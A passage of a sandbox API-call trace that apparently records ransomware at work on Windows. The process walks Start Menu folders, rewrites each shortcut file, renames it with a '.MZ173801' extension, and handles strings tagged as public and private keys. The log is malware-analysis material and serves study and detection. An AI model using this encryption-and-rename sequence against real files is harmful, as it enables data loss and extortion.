lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0198.520] GetCurrentThreadId () returned 0xab4 [0198.520] GetCurrentThreadId () returned 0xab4 [0198.520] GetCurrentThreadId () returned 0xab4 [0198.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0198.520] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0198.520] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0198.520] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x199 [0198.520] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0198.520] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x199, lpOverlapped=0x0) returned 1 [0198.627] CloseHandle (hObject=0x330) returned 1 [0198.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0198.900] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x199, lpOverlapped=0x0) returned 1 [0198.900] CloseHandle (hObject=0x330) returned 1 [0198.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk.mz173801")) returned 1 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] GetCurrentThreadId () returned 0xab4 [0199.475] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Run.lnk", cAlternateFileName="")) returned 0 [0199.475] GetLastError () returned 0x12 [0199.475] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0199.475] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa0bd8f21, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa0bd8f21, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b3f0 [0199.475] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0199.475] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.475] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa0bd8f21, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa0bd8f21, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9e6e47a0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Command Prompt.lnk.MZ173801", cAlternateFileName="COMMAN~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9efd54b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="computer.lnk.MZ173801", cAlternateFileName="COMPUT~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9f6b00c2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Control Panel.lnk.MZ173801", cAlternateFileName="CONTRO~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8ea7682, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x31e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9ff62930, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="File Explorer.lnk.MZ173801", cAlternateFileName="FILEEX~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa0b1a305, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Run.lnk.MZ173801", cAlternateFileName="RUNLNK~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b3f0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa0b1a305, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Run.lnk.MZ173801", cAlternateFileName="RUNLNK~1.MZ1")) returned 0 [0199.476] GetLastError () returned 0x12 [0199.476] FindClose (in: hFindFile=0xa1b3f0 | out: hFindFile=0xa1b3f0) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861bda7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc861bda7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x999da6b3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Update and Privacy Settings.lnk.MZ173801", cAlternateFileName="UPDATE~1.MZ1")) returned 1 [0199.476] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0199.476] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0199.476] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0199.477] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0199.477] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0199.477] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0199.477] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0199.477] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0199.477] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0199.477] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.477] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0199.477] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0199.477] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0199.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc)) returned 1 [0199.477] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk")) returned 0x20 [0199.477] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk", dwFileAttributes=0x80) returned 1 [0199.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0199.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJs